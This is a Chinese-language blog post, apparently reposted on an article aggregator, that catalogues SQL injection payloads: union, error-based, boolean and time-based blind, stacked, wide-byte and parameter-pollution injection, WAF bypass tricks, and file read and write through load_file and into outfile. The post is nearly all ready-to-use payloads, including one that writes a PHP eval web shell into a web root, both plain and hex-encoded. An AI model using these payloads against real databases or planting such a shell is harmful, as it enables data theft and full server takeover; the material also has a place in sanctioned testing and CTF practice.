首页 > 数据库 >常见SQL注入方式

常见SQL注入方式

时间:2023-04-23 17:24:08浏览次数:37  
标签:information database union 常见 SQL 注入 select schema

文章目录


  注入点位置及发现: 

  判断输入点是否存在注入测试:

  数值型:

  字符型:

  group_concat注入:

  union注入:

  limit注入:

  报错注入:

  布尔注入:

  时间注入:

  Timing Attack注入:

  堆查询注入:

  宽字节注入:

  HTTP污染注入:

  base64注入:

  Cookie注入、Referer注入、UA注入、XFF注入:

  预编译注入:

  Handler注入(从表名查询字段名):

  无列名注入:

  Maria过滤information_schema注入 :

  SQL绕过WAF

  通过SQL语句读写文件

  过狗


 

注入点位置及发现: 

      • GET参数注入

      • POST参数注入

      • user-agent注入

      • cookies注入

      • referer注入

      • ...

判断输入点是否存在注入测试:

      • 插入单引号

      • 数字型判断,如1' and '1'='1【目的是为了闭合原语句后方单引号】

      • ...

数值型:

1 union select 1,2,database()

字符型

1' union select 1,2,database()

group_concat注入:

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

union注入:

1' union select 1,2,database()

limit注入:

1' union select table_name from information_schema.tables where table_schema=database() limit 0,1

报错注入:

  updatexml方式:

1' and(updatexml(1,concat(0x7e,(select(database())),0x7e),1))

    查询数据库名称:

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)

1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)

    查询表名:

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)

  extractvalue方式:

1 and(extractvalue(1, concat(0x7e,(select database()))))

floor方式(查询数据库):

1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

1 and(select 1 from (select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

  查询表(以emails举例,emails十六进制编码为656d61696c73)

1 and(select 1 from (select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

  floor可以在sqli-labs的level1中复现,phpstudy测试版本为5.4.45+apache‘

exp:

1 and exp(~(select * from (select database())x))%23

布尔注入:

#猜测数据库长度:
1 and length(database())>5
#猜测数据库名第一个字符串:
1 and substr(database(),1,1)='s'
#猜测数据库表第一个字符串:
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'

空格过滤

#空格过滤查数据库名第一个字符串:
1^(ascii(substr((select(database())),1,1))=ascii('s'))

1^(ord(substr((select(database())),1,1))=ascii('s'))

#空格过滤查数据库名第二个字符串:
1^(ascii(substr((select(database())),2,1))=ascii('q'))

#空格过滤查表名:
1^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'))

1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

时间注入:

1 and if(substr(database(),1,1)='s',sleep(5),1)

Timing Attack注入:

  该注入手段采自吴翰清的《白帽子讲web安全》一书中,于2011年3月27日,一位名叫TinKode的黑客在著名的安全邮件列表Full Disclosure上公布了入侵mysql.com手法,他用“盲注”的一个技巧,现称:Timing Attack,来判断漏洞的存在

  在MySQL中,有一个BENCHMARK()函数,该函数用于测试函数性能的,它有两个参数:

BENCHMARK(count,expr)    # 将表达式expr执行count次

  我将encode('hello','ganyu')执行10000000次,共用时5.51秒

  看到这里有什么想法吗?或许你可以利用BENCHMARK()函数,让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短的变化,是否就可以判断出注入语句是否执行成功?

  比如判断库名的第一个字母是否为CHAR(119),即小写的w。如果判断结果为真,则会通过BENCHMARK()函数造成较长延时;如果不为真,则该语句将很快执行完

select if(substring(1,1)!=char(119),benchmark(1000000,encode('hello','ganyu')),null) from (select database()) as gy1;

  下图分别展示了执行成功(上)和执行失败(下) 两条查询语句,你会发现两者之间执行时间差距非常大

堆查询注入:

1;select if(substr(database(),1,1)='s',sleep(5),1)
​
1;show databases;

宽字节注入:

1%df' union select 1,2,database()

HTTP污染注入:

  假设有一个通过GET方式提交的参数"id",可以重复构造这个参数并发送出去:?id=-1&id=2

  使用的框架不同(PHP,Java,ASP.NET)参数字符串也会以不同的方式进行解析,比如在Apache/PHP的实验环境下,如果多次注入同一个参数值,只有最后一个参数值会被框架解析,但是只有第一个参数会经过WAF的分析和过滤

https://www.baidu.com/?id=-1&id=1 union select 1,2,database()

base64注入:

https://www.baidu.com?id=MSBhbmQgMCB1bmlvbiBzZWxlY3QgMSwyLDM=

Cookie注入、Referer注入、UA注入、XFF注入:

  手法略过,只是注入点不同

预编译注入:

 1';use sqli;set @sql=concat('se','lect `字段` from `表名`');PREPARE ganyu FROM @sql;EXECUTE ganyu;#

Handler注入(从表名查询字段名):

1';show tables;handler `FlagHere` open;handler `FlagHere` read first;#

无列名注入:

select b from (select 1,2,3 as b union select * from 表)a

Maria过滤information_schema注入 :

在Maria下mysql.innodb_table_stats可代替information_schema查表名

SQL绕过WAF

大小写绕过

1 and 0 Union select 1,2,database()

双写绕过

1 and 0 uunionnion select 1,2,database()

编码绕过

1 and 0 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 select 1,2,database()

通过十六进制过滤绕过

1 and 0 union selec\x74 1,2,database()
1 and 0 unio\x6e select 1,2,database()

空格过滤

1/**/and/**/0/**/union/**/select/**/1,2,database()

内敛注释绕过

1 /*!and*/ 1=2

1/*%!"/*/order/*%!"/*/by 3

union/*233*/select/*233*/1,2,database()

通过SQL语句读写文件

  注:在mysql用户拥有file权限时,拥有load_file和into outfile/dumpfile进行读写

读取:

1 union select load_file('/etc/hosts')

1 union select load_file(0x2F6574632F686F737473)    #绕过单引号十六进制编码

写入:

1 union select '<?php @eval($_POST['ganyu']);?>' into outfile 'var/www/html/shell.php'

1 union select unhex(0x3C3F70687020406576616C28245F504F53545B2767616E7975275D293B3F3E) into dumpfile 'var/www/html/shell.php'    #绕过单引号十六进制编码

过狗

 

标签:information,database,union,常见,SQL,注入,select,schema
From: https://www.cnblogs.com/hkgan/p/17347142.html

相关文章

  • C# Mysql The given key '12599' was not present in the dictionary.
    如果查询语句没有问题数据库连接字符串也没有问题,可能是Mysql.Data引用与当前安装的Mysql数据库版本不兼容的问题。我本地安装的mysql版本是8.30,在VS里使用Nuget程序包下载的Mysql.Data引用是其他更低的版本,将程序里用的Mysql.Data也更新到8.30就好了。版本保持一致。 ......
  • Oracle SQL 四分位 上四分位 下四分位 中位数
    OracleSQL四分位上四分位下四分位中位数平均值方差最大值最小值------------------------SQL四分位上四分位下四分位中位数----------------------SELECTPROD_ID,STAGE_ID,STEP_ID,RECIPE_ID,LOT_PRI,LOT_SIZE,PERCENTILE_CONT(0.25)WITHINGROUP(ORDE......
  • MySQL日期字符串转日期格式,日期格式数据转为字符串
    如下:1、日期字符串转换为日期格式数据SELECTDATE('2017-02-11');SELECTDATE('2017/02/11');SELECTSTR_TO_DATE('2015/02/25','%Y/%m/%d');SELECTSTR_TO_DATE('2015-02-25','%Y-%m-%d');返回日期格式数据 2、DATE_FORMAT......
  • MySQL常用函数
    mysql是一个常用的关系型数据库管理系统,提供了许多有用的函数来帮助处理数据。下面是一些mysql中常用的函数:字符串函数concat():将两个或多个字符串连接起来。length():返回指定字符串的字符数。substr():返回指定字符串的子串。lower():将指定字符串转换为小写形式。......
  • 服务器遭受攻击之后的常见思路
    哈喽大家好,我是咸鱼 不知道大家有没有看过这么一部电影: 这部电影讲述了男主是一个电脑极客,在计算机方面有着不可思议的天赋,男主所在的黑客组织凭借着超高的黑客技术去入侵各种国家机构的系统,并引起了德国秘密警察组织、欧洲刑警组织的重视 刚开始看的时候以为是一部讲述......
  • Python常见的10个安全漏洞及修复方法
    关注我了解更多Python技术知识,带你一路“狂飙”到底!上岸大厂不是梦!编写安全的代码很困难,当你学习一门编程语言、一个模块或框架时,你会学习其使用方法。在考虑安全性时,你需要考虑如何避免代码被滥用,Python也不例外,即使在标准库中,也存在着许多糟糕的实例。然而,许多Python开发人员......
  • MySQL索引失效原因
    索引介绍MySQL默认的存储引擎是InnoDB,它采用B+树作为索引的数据结构。InnoDB和MyISAM存储引擎都支持B+树索引,但是它们的数据存储结构实现方式不同。InnoDB:B+树索引的叶子节点保存全部数据MyISAM:B+树索引的叶子节点保存数据的物理地址在创建表的时候,InnoDB存储引擎默认会创......
  • mysql select for update + 事务处理数据一致性
    如果SELECT后面若要UPDATE同一个表数据的相关操作,最好使用SELECT...FORUPDATE。一:举例说明假设商品表单test_leyangjun 内有一个存放商品库存的num字段,一个id主键 ,在生成订单前须先确定num>0 ,然后才把数量更新。代码如下(比如现在的库存:num=3对应的id=3,现在生成一个订单......
  • 常见报错
    报错:DataisNull.ThismethodorpropertycannotbecalledonNullvalues.原因之一是数据库中数值类型的字段未设置非空,Model类中的数据类型应当加上?,否则会报此错误  报错:Unabletocastobjectoftype'System.Int32'totype'System.String解决方案:找出Model类中......
  • 基于Canal实现MySQL 8.0 数据库数据同步
    前言服务器说明主机名称操作系统说明192.168.11.82Ubuntu22.04主库所在服务器192.168.11.28OracleLinuxServer8.7从库所在服务器版本说明MySQL版本:MySQL_8.0.32Canal版本:Canal_1.1.7//我的canal安装部署在192.168.11.82上,当然你也可以部......